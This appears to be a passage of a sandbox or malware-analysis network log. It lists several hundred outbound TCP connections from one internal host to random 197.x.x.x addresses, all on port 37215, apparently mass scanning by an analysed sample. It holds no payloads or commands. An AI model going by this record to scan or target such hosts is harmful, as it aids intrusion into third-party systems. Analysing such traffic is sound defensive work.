Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.37.126.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.126.145.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.68.221.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.54.52.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.204.69.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.72.197.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.142.249.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.11.149.167:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.17.170.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.80.30.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.174.29.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.117.29.136:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.110.234.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.48.243.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.54.71.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.169.60.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.187.71.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.20.98.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.251.38.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.61.182.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.211.217.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.156.129.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.132.146.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.156.215.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.158.69.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.15.43.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.120.40.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.109.62.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.10.107.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.88.185.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.96.244.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.179.52.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.102.226.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.70.236.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.88.147.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.149.28.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.209.32.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.59.61.207:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.157.61.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.18.129.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.187.125.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.71.245.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.100.120.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.101.86.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.16.126.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.128.98.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.6.33.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.141.182.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.226.77.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.39.38.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.161.243.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.154.79.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.239.107.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.126.183.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.218.10.166:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.140.80.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.142.119.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.205.30.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.145.147.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.202.121.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.231.34.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.121.192.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.27.215.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.145.80.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.178.194.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.203.141.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.188.53.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.105.138.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.129.50.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.80.189.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.183.85.143:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.54.104.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.120.75.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.70.20.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.77.234.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.171.253.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.254.137.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.144.74.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.5.234.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.204.249.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.79.200.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.247.139.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.195.17.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.19.140.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.80.90.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.189.56.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.106.242.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.28.48.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.227.253.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.133.95.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.65.165.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.84.58.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.217.246.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.236.168.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.195.34.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.149.28.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.93.77.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.179.167.236:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.248.192.200:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.35.214.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.145.222.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.132.254.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.5.54.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.117.222.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.135.113.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.164.74.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.175.8.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.209.178.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.173.220.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.162.9.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.193.242.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.28.92.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.237.10.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.108.100.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.159.0.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.219.252.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.7.112.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.15.33.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.101.189.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.132.80.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.247.138.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.90.202.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.140.0.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.148.32.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.45.223.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.218.164.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.122.148.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.69.89.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.197.127.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.179.6.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.91.132.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.81.184.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.199.221.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.130.239.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.108.189.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.43.220.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.114.166.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.69.108.240:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.245.251.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.250.212.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.97.87.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.133.13.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.107.12.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.61.183.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.55.183.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.65.110.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.255.186.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.40.68.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.51.163.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.4.197.108:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.61.86.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.52.124.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.217.225.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.2.181.19:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.118.244.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.183.36.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.178.106.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.100.65.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.164.208.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.138.243.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.142.3.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.43.224.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.165.217.131:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.207.45.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.20.12.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.194.7.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.157.215.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.209.147.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.60.164.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.235.228.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.5.64.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.52.81.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.32.132.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.68.110.201:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.105.230.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.161.85.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.21.8.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.135.56.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.47.119.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.1.108.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.63.17.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.214.217.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.147.196.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.15.150.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.136.36.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.2.197.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.81.206.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.90.130.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.60.132.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.97.182.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.156.253.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.28.50.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.35.254.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.249.213.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.232.53.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.215.191.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.55.23.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.8.184.66:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.209.151.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.254.135.148:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.8.246.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.194.16.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.18.71.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.240.168.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.161.250.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.96.100.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.166.155.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.103.198.77:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.225.212.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.192.223.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.181.229.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.172.211.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.0.57.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.175.87.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.165.236.252:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.183.132.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.67.176.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.111.119.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.241.8.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.181.250.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.222.253.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.80.131.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.67.169.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.76.202.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.9.83.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.73.103.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.246.32.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.61.115.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.130.44.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.82.102.220:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.152.249.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.90.250.85:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.246.153.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.27.155.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.178.98.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.71.13.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.109.169.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.208.72.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.58.249.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.178.91.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.200.55.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.172.157.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.43.204.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.90.230.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.68.209.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.48.161.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.245.104.203:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.35.46.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.143.106.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.8.208.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.47.18.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.92.180.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.79.61.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.60.126.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.217.247.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.207.45.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.35.238.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.192.164.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.214.125.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.14.182.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.10.150.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.65.154.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.80.202.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.226.191.114:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.82.86.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.50.82.161:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.199.138.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.151.27.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.202.156.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.95.177.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.129.67.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.150.105.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.153.53.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.192.82.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.202.218.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.120.24.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.192.15.129:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.65.137.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.91.68.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.20.45.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.196.193.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.194.208.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.66.96.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.17.224.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.201.174.162:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.69.239.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.85.231.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.11.221.27:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.243.189.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.192.251.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.90.36.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.129.194.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.80.246.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.31.242.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.144.31.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.78.164.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.44.110.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.3.7.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.249.118.138:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.37.30.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.123.17.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.83.202.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.224.182.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.242.50.75:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.134.29.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.235.219.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.184.239.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.212.177.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.107.91.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.55.146.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.104.193.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.182.207.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.124.109.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.78.22.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.199.54.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.45.40.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.207.173.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.13.140.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.213.10.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.59.117.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.18.180.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.144.141.109:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.242.19.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.204.15.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.118.244.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.63.39.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.242.50.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.222.105.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.2.226.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.196.139.172:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.22.97.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.123.45.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.244.240.232:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.54.104.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.11.236.152:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.62.71.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.145.71.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.98.163.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.160.58.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.195.19.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.238.22.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.91.70.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.104.1.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.223.173.215:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.18.134.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.188.252.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.210.179.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.78.207.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.136.90.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.81.173.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.194.229.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.164.191.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.227.34.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.181.45.246:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.132.90.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.9.65.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.5.215.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.118.164.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.174.168.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.212.237.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.69.189.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.66.57.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:1898 -> 197.75.19.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.51.212.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:1386 -> 197.130.101.186:37215
